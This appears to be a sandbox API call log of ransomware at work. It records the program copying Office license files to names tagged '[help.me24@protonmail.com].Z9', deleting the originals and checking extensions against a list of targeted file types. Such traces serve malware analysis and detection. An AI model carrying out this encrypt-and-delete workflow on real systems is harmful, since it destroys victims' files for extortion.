	[0187.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0187.717] GetLastError () returned 0x0
	[0187.717] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0187.759] WriteFile (in: hFile=0x3f8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0187.760] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.760] WriteFile (in: hFile=0x3f8, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x126, lpOverlapped=0x0) returned 1
	[0187.760] SetEndOfFile (hFile=0x3f8) returned 1
	[0187.774] CloseHandle (hObject=0x3f8) returned 1
	[0187.780] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.780] SetEndOfFile (hFile=0x310) returned 1
	[0187.783] CloseHandle (hObject=0x310) returned 1
	[0187.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 1
	[0187.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.785] lstrlenW (lpString=".doc") returned 4
	[0187.785] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.785] lstrlenW (lpString=".docx") returned 5
	[0187.785] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.785] lstrlenW (lpString=".pdf") returned 4
	[0187.785] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.785] lstrlenW (lpString=".xls") returned 4
	[0187.785] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.785] lstrlenW (lpString=".xlsx") returned 5
	[0187.785] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.785] lstrlenW (lpString=".ppt") returned 4
	[0187.785] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.785] lstrlenW (lpString=".zip") returned 4
	[0187.785] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.785] lstrlenW (lpString=".rar") returned 4
	[0187.785] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.785] lstrlenW (lpString=".bz2") returned 4
	[0187.785] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.785] lstrlenW (lpString=".7z") returned 3
	[0187.785] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.786] lstrlenW (lpString=".dbf") returned 4
	[0187.786] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.786] lstrlenW (lpString=".1cd") returned 4
	[0187.786] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.786] lstrlenW (lpString=".jpg") returned 4
	[0187.786] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.786] lstrlenW (lpString=".doc") returned 4
	[0187.786] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString=".docx") returned 5
	[0187.786] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.786] lstrlenW (lpString=".pdf") returned 4
	[0187.786] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString=".xls") returned 4
	[0187.786] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString=".xlsx") returned 5
	[0187.786] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.786] lstrlenW (lpString=".ppt") returned 4
	[0187.786] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.786] lstrlenW (lpString=".zip") returned 4
	[0187.786] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString=".rar") returned 4
	[0187.786] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString=".bz2") returned 4
	[0187.786] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString=".7z") returned 3
	[0187.786] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.786] lstrlenW (lpString=".dbf") returned 4
	[0187.786] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.787] lstrlenW (lpString=".1cd") returned 4
	[0187.787] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0187.787] lstrlenW (lpString=".jpg") returned 4
	[0187.787] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.787] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.787] lstrlenW (lpString="O365HomePremR_Subscription2-ppd.xrm-ms") returned 38
	[0187.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.788] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=26541) returned 1
	[0187.788] CloseHandle (hObject=0x310) returned 1
	[0187.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 0x220
	[0187.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.789] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.789] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0187.789] GetLastError () returned 0x0
	[0187.789] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0187.828] WriteFile (in: hFile=0x340, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0187.830] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.830] WriteFile (in: hFile=0x340, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x120, lpOverlapped=0x0) returned 1
	[0187.830] SetEndOfFile (hFile=0x340) returned 1
	[0187.830] CloseHandle (hObject=0x340) returned 1
	[0187.830] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.830] SetEndOfFile (hFile=0x310) returned 1
	[0187.837] CloseHandle (hObject=0x310) returned 1
	[0187.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 1
	[0187.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.838] lstrlenW (lpString=".doc") returned 4
	[0187.838] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.838] lstrlenW (lpString=".docx") returned 5
	[0187.838] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.838] lstrlenW (lpString=".pdf") returned 4
	[0187.838] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.838] lstrlenW (lpString=".xls") returned 4
	[0187.838] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.838] lstrlenW (lpString=".xlsx") returned 5
	[0187.838] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.838] lstrlenW (lpString=".ppt") returned 4
	[0187.839] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.839] lstrlenW (lpString=".zip") returned 4
	[0187.839] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.839] lstrlenW (lpString=".rar") returned 4
	[0187.839] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.839] lstrlenW (lpString=".bz2") returned 4
	[0187.839] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.839] lstrlenW (lpString=".7z") returned 3
	[0187.839] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.839] lstrlenW (lpString=".dbf") returned 4
	[0187.839] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.839] lstrlenW (lpString=".1cd") returned 4
	[0187.839] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.839] lstrlenW (lpString=".jpg") returned 4
	[0187.839] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.839] lstrlenW (lpString=".doc") returned 4
	[0187.839] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.839] lstrlenW (lpString=".docx") returned 5
	[0187.840] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.840] lstrlenW (lpString=".pdf") returned 4
	[0187.840] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.840] lstrlenW (lpString=".xls") returned 4
	[0187.840] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.840] lstrlenW (lpString=".xlsx") returned 5
	[0187.840] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.840] lstrlenW (lpString=".ppt") returned 4
	[0187.840] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.840] lstrlenW (lpString=".zip") returned 4
	[0187.840] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.840] lstrlenW (lpString=".rar") returned 4
	[0187.840] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.840] lstrlenW (lpString=".bz2") returned 4
	[0187.840] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.840] lstrlenW (lpString=".7z") returned 3
	[0187.840] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.840] lstrlenW (lpString=".dbf") returned 4
	[0187.840] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.840] lstrlenW (lpString=".1cd") returned 4
	[0187.840] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0187.840] lstrlenW (lpString=".jpg") returned 4
	[0187.840] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.840] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.840] lstrlenW (lpString="O365HomePremR_Subscription3-pl.xrm-ms") returned 37
	[0187.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.841] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11199) returned 1
	[0187.841] CloseHandle (hObject=0x310) returned 1
	[0187.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 0x220
	[0187.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.842] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.842] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0187.843] GetLastError () returned 0x0
	[0187.843] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0187.888] WriteFile (in: hFile=0x340, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0187.889] ReadFile (in: hFile=0x310, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.889] WriteFile (in: hFile=0x340, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0187.889] SetEndOfFile (hFile=0x340) returned 1
	[0187.892] CloseHandle (hObject=0x340) returned 1
	[0187.892] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.892] SetEndOfFile (hFile=0x310) returned 1
	[0187.895] CloseHandle (hObject=0x310) returned 1
	[0187.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 1
	[0187.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.897] lstrlenW (lpString=".doc") returned 4
	[0187.897] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString=".docx") returned 5
	[0187.897] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.897] lstrlenW (lpString=".pdf") returned 4
	[0187.897] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString=".xls") returned 4
	[0187.897] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString=".xlsx") returned 5
	[0187.897] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.897] lstrlenW (lpString=".ppt") returned 4
	[0187.897] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.897] lstrlenW (lpString=".zip") returned 4
	[0187.897] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString=".rar") returned 4
	[0187.897] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString=".bz2") returned 4
	[0187.897] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString=".7z") returned 3
	[0187.897] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.897] lstrlenW (lpString=".dbf") returned 4
	[0187.897] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.897] lstrlenW (lpString=".1cd") returned 4
	[0187.897] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.897] lstrlenW (lpString=".jpg") returned 4
	[0187.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.898] lstrlenW (lpString=".doc") returned 4
	[0187.898] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString=".docx") returned 5
	[0187.898] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.898] lstrlenW (lpString=".pdf") returned 4
	[0187.898] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString=".xls") returned 4
	[0187.898] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString=".xlsx") returned 5
	[0187.898] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.898] lstrlenW (lpString=".ppt") returned 4
	[0187.898] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.898] lstrlenW (lpString=".zip") returned 4
	[0187.898] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString=".rar") returned 4
	[0187.898] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString=".bz2") returned 4
	[0187.898] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString=".7z") returned 3
	[0187.898] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.898] lstrlenW (lpString=".dbf") returned 4
	[0187.898] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.898] lstrlenW (lpString=".1cd") returned 4
	[0187.898] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0187.898] lstrlenW (lpString=".jpg") returned 4
	[0187.898] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.899] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.899] lstrlenW (lpString="O365HomePremR_Subscription4-pl.xrm-ms") returned 37
	[0187.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.899] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11199) returned 1
	[0187.899] CloseHandle (hObject=0x310) returned 1
	[0187.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 0x220
